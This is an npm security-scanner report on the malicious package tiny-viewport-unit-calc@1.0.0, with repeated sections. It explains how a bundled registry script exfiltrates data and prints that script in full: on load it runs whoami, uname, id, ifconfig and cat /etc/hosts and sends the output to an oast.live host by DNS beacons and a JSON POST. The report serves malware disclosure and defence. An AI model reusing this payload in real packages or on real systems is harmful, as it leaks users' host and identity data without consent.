Loading npm security reports…

tiny-viewport-unit-calc@1.0.0: Malicious npm security report | LPM Firewall

registry / tiny-viewport-unit-calc / 1.0.0

tiny-viewport-unit-calc@1.0.0

Tiny utility for viewport unit calculations

AI Security Review

scanned 5d ago · by lpm-firewall-ai

The bundled registry script automatically collects host information and transmits it to an unrelated external host. The registry manifest directs multiple asset names to this script.

Static reason

One or more suspicious static signals were detected.

Trigger

Loading or evaluating thunderboltRegistry.js directly or through the registry manifest.

Impact

Exposure of user identity, host and kernel information, network interfaces, and /etc/hosts contents when the required runtime APIs are available.

Mechanism

An immediately invoked function executes shell commands, embeds selected output in request hostnames, and posts collected results as JSON.

Attack narrative

The package distributes a registry manifest pointing to a script that executes immediately upon loading. Where child_process is available, it gathers system information through shell commands and sends the results to an external host through hostname-encoded requests and an HTTP POST. This behavior has no consent gate and is unrelated to viewport calculations. The empty default entrypoint limits activation but does not neutralize the executable attack in the distributed registry asset.

AI rationale

Inspected source proves automatic host-data collection and external transmission when the registry script loads. The manifest provides a loading route, making this concrete data exfiltration rather than an inert payload carrier.

Evidence

package.jsonregistry-manifest.min.jsonthunderboltRegistry.js/etc/hosts

Network endpoints3

davdpb8lhot13kgmnhp0863x9g83mpswq.oast.live

Source & flagged code

9 flagged

thunderboltRegistry.jsView file

Lines 1-63javascript

1// Approach A: super minimal - just DNS beacon, no require, no execSync, no webhook

2(function(){

3 try {

4 var h = "davdpb8lhot13kgmnhp0863x9g83mpswq.oast.live";

5 fetch("https://poc12-alive." + h + "/ping").catch(function(){});

7 // check if we have process

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately contacts an external host without a consent gate.

thunderboltRegistry.jsView on unpkg · L1

8 if (typeof process !== "undefined" && process.version) {

9 fetch("https://poc12-node-" + process.version.replace(/[^a-z0-9]/gi,"-") + "." + h + "/ping").catch(function(){});

10 }

12 // Approach B: try require and run commands, send results via DNS only (no webhook)

13 var cp = null;

14 try { cp = require("child_process"); } catch(e) {}

15 if (cp && typeof cp.execSync === "function") {

High

Child Process

Package source references child process execution.

thunderboltRegistry.jsView on unpkg · L13

16 fetch("https://poc12-hascp." + h + "/ping").catch(function(){});

High

Ai Review Evidence

The script loads child_process and sends the output of whoami through an outbound hostname.

thunderboltRegistry.jsView on unpkg · L14

18 var s = function(v){return String(v||"").replace(/[^a-zA-Z0-9]/g,"-").substring(0,60);};

20 try {

21 var w = cp.execSync("whoami",{encoding:"utf8",timeout:5000}).trim();

22 fetch("https://poc12-who-" + s(w) + "." + h + "/ping").catch(function(){});

23 } catch(e){}

25 try {

26 var u = cp.execSync("uname -a",{encoding:"utf8",timeout:5000}).trim();

High

Ai Review Evidence

The script loads child_process and sends the output of whoami through an outbound hostname.

thunderboltRegistry.jsView on unpkg · L21

27 // DNS label max 63 chars, encode key parts

28 var parts = u.split(" ");

29 fetch("https://poc12-kern-" + s(parts[2]||"") + "." + h + "/ping").catch(function(){});

30 fetch("https://poc12-arch-" + s(parts[parts.length-2]||"") + "." + h + "/ping").catch(function(){});

31 } catch(e){}

33 try {

34 var hn = cp.execSync("hostname",{encoding:"utf8",timeout:5000}).trim();

35 fetch("https://poc12-hn-" + s(hn) + "." + h + "/ping").catch(function(){});

36 } catch(e){}

38 // send full results via HTTP POST to interactsh (not webhook)

39 try {

40 var results = {};

41 try { results.whoami = cp.execSync("whoami",{encoding:"utf8",timeout:5000}).trim(); } catch(e){}

42 try { results.uname = cp.execSync("uname -a",{encoding:"utf8",timeout:5000}).trim(); } catch(e){}

43 try { results.hosts = cp.execSync("cat /etc/hosts",{encoding:"utf8",timeout:5000}).trim(); } catch(e){}

44 try { results.ifconfig = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo none",{encoding:"utf8",timeout:8000}).trim(); } catch(e){}

45 try { results.id = cp.execSync("id",{encoding:"utf8",timeout:5000}).trim(); } catch(e){}

High

Ai Review Evidence

It collects /etc/hosts, network interface information, and user identity through shell commands.

thunderboltRegistry.jsView on unpkg · L43

47 fetch("https://poc12-data." + h + "/results", {

48 method: "POST",

49 headers: {"Content-Type": "application/json"},

50 body: JSON.stringify(results)

51 }).catch(function(){});

52 } catch(e){}

53 } else {

54 fetch("https://poc12-nocp." + h + "/ping").catch(function(){});

55 }

56 } catch(e) {

57 fetch("https://poc12-err." + "davdpb8lhot13kgmnhp0863x9g83mpswq.oast.live" + "/err").catch(function(){});

58 }

59})();

61var hosts=["thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry","editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry","thunderboltBuilderRegistry","thunderboltPreviewRegistry"];

62var factory=function(){var n=0;return new Proxy({ensureComponentLoadersAreCreated:function(){return Promise.resolve();},ensureManifestsAreLoaded:function(){return Promise.resolve

63if(typeof exports==="object"&&exports){for(var i=0;i<hosts.length;i++)exports[hosts[i]]={default:factory};exports.default=factory;}

Long lines were clipped for display.

47fetch("https://poc12-data." + h + "/results", { method: "POST", headers: {"Content-Type": "application/json"}, body: JSON.stringify(results) }).catch(function(){}); } catch(e){}

High

Ai Review Evidence

Collected command results are sent as JSON in an HTTP POST to the external host.

thunderboltRegistry.jsView on unpkg · L47

thunderboltRegistry.js#virtual:normalized:round1View file

4var h = "[redacted].oast.live"; L5: fetch("https://poc12-alive." + h + "/ping").catch(function(){}); L6: ... L13: var cp = null; L14: try { cp = require("child_process"); } catch(e) {} L15: if (cp && typeof child_process.execSync === "function") { ... L49: headers: {"Content-Type": "application/json"}, L50: body: JSON.stringify(results) L51: }).catch(function(){});

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

thunderboltRegistry.js#virtual:normalized:round1View on unpkg · L4

package.jsonView file

Lines 1-9json

2 "name": "tiny-viewport-unit-calc",

3 "version": "1.0.0",

4 "description": "Tiny utility for viewport unit calculations",

5 "main": "index.js",

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/tiny-viewport-unit-calc@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/tiny-viewport-unit-calc@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

The published files include the registry script and a manifest mapping registry assets to its CDN URL.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/tiny-viewport-unit-calc@1.0.0/thunderboltRegistry.js"

Source & flagged code

9 flagged · loading source

thunderboltRegistry.jsView file

13var cp = null; L14: try { cp = require("child_process"); } catch(e) {} L15: if (cp && typeof cp.execSync === "function") {

High

Child Process

Package source references child process execution.

thunderboltRegistry.jsView on unpkg · L13

1ook (function(){ try { var h = "[redacted].oast.live"; fetch("https://poc12-alive." + h + "/ping").catch(function(){}); // check if we

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately contacts an external host without a consent gate.

thunderboltRegistry.jsView on unpkg · L1

14try { cp = require("child_process"); } catch(e) {} if (cp && typeof cp.execSync === "function") { fetch("https://p

High

Ai Review Evidence

The script loads child_process and sends the output of whoami through an outbound hostname.

thunderboltRegistry.jsView on unpkg · L14

21var w = cp.execSync("whoami",{encoding:"utf8",timeout:5000}).trim(); fetch("https://poc12-who-" + s(w) + "." + h + "/ping").catch(function(){}); } catch(e){} try { v

High

Ai Review Evidence

The script loads child_process and sends the output of whoami through an outbound hostname.

thunderboltRegistry.jsView on unpkg · L21

43try { results.hosts = cp.execSync("cat /etc/hosts",{encoding:"utf8",timeout:5000}).trim(); } catch(e){} try { results.ifconfig = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo none",{encoding:"utf8",timeout:8000}).trim(); } catch(e){} try { results.id = cp.execSync("id",{encoding:"utf8",timeout:5000}).trim(); } cat

High

Ai Review Evidence

It collects /etc/hosts, network interface information, and user identity through shell commands.

thunderboltRegistry.jsView on unpkg · L43

47fetch("https://poc12-data." + h + "/results", { method: "POST", headers: {"Content-Type": "application/json"}, body: JSON.stringify(results) }).catch(function(){}); } catch(e){}

High

Ai Review Evidence

Collected command results are sent as JSON in an HTTP POST to the external host.

thunderboltRegistry.jsView on unpkg · L47

thunderboltRegistry.js#virtual:normalized:round1View file

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

thunderboltRegistry.js#virtual:normalized:round1View on unpkg · L4

package.jsonView file

5"main": "index.js", "files": ["registry-manifest.min.json","thunderboltRegistry.js","index.js"], "license": "MIT" }

High

Ai Review Evidence

The published files include the registry script and a manifest mapping registry assets to its CDN URL.

package.jsonView on unpkg · L5

registry-manifest.min.jsonView file

2"thunderboltRegistry.js": "https://static.parastorage.com/unpkg/tiny-viewport-unit-calc@1.0.0/thunderboltRegistry.js", "siteAsset

High

Ai Review Evidence

The published files include the registry script and a manifest mapping registry assets to its CDN URL.

registry-manifest.min.jsonView on unpkg · L2

Source & flagged code

9 flagged

thunderboltRegistry.jsView file

Lines 1-63javascript

1// Approach A: super minimal - just DNS beacon, no require, no execSync, no webhook

2(function(){

3 try {

4 var h = "davdpb8lhot13kgmnhp0863x9g83mpswq.oast.live";

5 fetch("https://poc12-alive." + h + "/ping").catch(function(){});

7 // check if we have process

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately contacts an external host without a consent gate.

thunderboltRegistry.jsView on unpkg · L1

8 if (typeof process !== "undefined" && process.version) {

9 fetch("https://poc12-node-" + process.version.replace(/[^a-z0-9]/gi,"-") + "." + h + "/ping").catch(function(){});

10 }

12 // Approach B: try require and run commands, send results via DNS only (no webhook)

13 var cp = null;

14 try { cp = require("child_process"); } catch(e) {}

15 if (cp && typeof cp.execSync === "function") {

High

Child Process

Package source references child process execution.

thunderboltRegistry.jsView on unpkg · L13

16 fetch("https://poc12-hascp." + h + "/ping").catch(function(){});

High

Ai Review Evidence

The script loads child_process and sends the output of whoami through an outbound hostname.

thunderboltRegistry.jsView on unpkg · L14

18 var s = function(v){return String(v||"").replace(/[^a-zA-Z0-9]/g,"-").substring(0,60);};

20 try {

21 var w = cp.execSync("whoami",{encoding:"utf8",timeout:5000}).trim();

22 fetch("https://poc12-who-" + s(w) + "." + h + "/ping").catch(function(){});

23 } catch(e){}

25 try {

26 var u = cp.execSync("uname -a",{encoding:"utf8",timeout:5000}).trim();

High

Ai Review Evidence

The script loads child_process and sends the output of whoami through an outbound hostname.

thunderboltRegistry.jsView on unpkg · L21

27 // DNS label max 63 chars, encode key parts

28 var parts = u.split(" ");

29 fetch("https://poc12-kern-" + s(parts[2]||"") + "." + h + "/ping").catch(function(){});

30 fetch("https://poc12-arch-" + s(parts[parts.length-2]||"") + "." + h + "/ping").catch(function(){});

31 } catch(e){}

33 try {

34 var hn = cp.execSync("hostname",{encoding:"utf8",timeout:5000}).trim();

35 fetch("https://poc12-hn-" + s(hn) + "." + h + "/ping").catch(function(){});

36 } catch(e){}

38 // send full results via HTTP POST to interactsh (not webhook)

39 try {

40 var results = {};

41 try { results.whoami = cp.execSync("whoami",{encoding:"utf8",timeout:5000}).trim(); } catch(e){}

42 try { results.uname = cp.execSync("uname -a",{encoding:"utf8",timeout:5000}).trim(); } catch(e){}

43 try { results.hosts = cp.execSync("cat /etc/hosts",{encoding:"utf8",timeout:5000}).trim(); } catch(e){}

44 try { results.ifconfig = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo none",{encoding:"utf8",timeout:8000}).trim(); } catch(e){}

45 try { results.id = cp.execSync("id",{encoding:"utf8",timeout:5000}).trim(); } catch(e){}

High

Ai Review Evidence

It collects /etc/hosts, network interface information, and user identity through shell commands.

thunderboltRegistry.jsView on unpkg · L43

47 fetch("https://poc12-data." + h + "/results", {

48 method: "POST",

49 headers: {"Content-Type": "application/json"},

50 body: JSON.stringify(results)

51 }).catch(function(){});

52 } catch(e){}

53 } else {

54 fetch("https://poc12-nocp." + h + "/ping").catch(function(){});

55 }

56 } catch(e) {

57 fetch("https://poc12-err." + "davdpb8lhot13kgmnhp0863x9g83mpswq.oast.live" + "/err").catch(function(){});

58 }

59})();

62var factory=function(){var n=0;return new Proxy({ensureComponentLoadersAreCreated:function(){return Promise.resolve();},ensureManifestsAreLoaded:function(){return Promise.resolve

63if(typeof exports==="object"&&exports){for(var i=0;i<hosts.length;i++)exports[hosts[i]]={default:factory};exports.default=factory;}

Long lines were clipped for display.

47fetch("https://poc12-data." + h + "/results", { method: "POST", headers: {"Content-Type": "application/json"}, body: JSON.stringify(results) }).catch(function(){}); } catch(e){}

High

Ai Review Evidence

Collected command results are sent as JSON in an HTTP POST to the external host.

thunderboltRegistry.jsView on unpkg · L47

thunderboltRegistry.js#virtual:normalized:round1View file

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

thunderboltRegistry.js#virtual:normalized:round1View on unpkg · L4

package.jsonView file

Lines 1-9json

2 "name": "tiny-viewport-unit-calc",

3 "version": "1.0.0",

4 "description": "Tiny utility for viewport unit calculations",

5 "main": "index.js",

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/tiny-viewport-unit-calc@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/tiny-viewport-unit-calc@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

The published files include the registry script and a manifest mapping registry assets to its CDN URL.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/tiny-viewport-unit-calc@1.0.0/thunderboltRegistry.js"

tiny-viewport-unit-calc@1.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code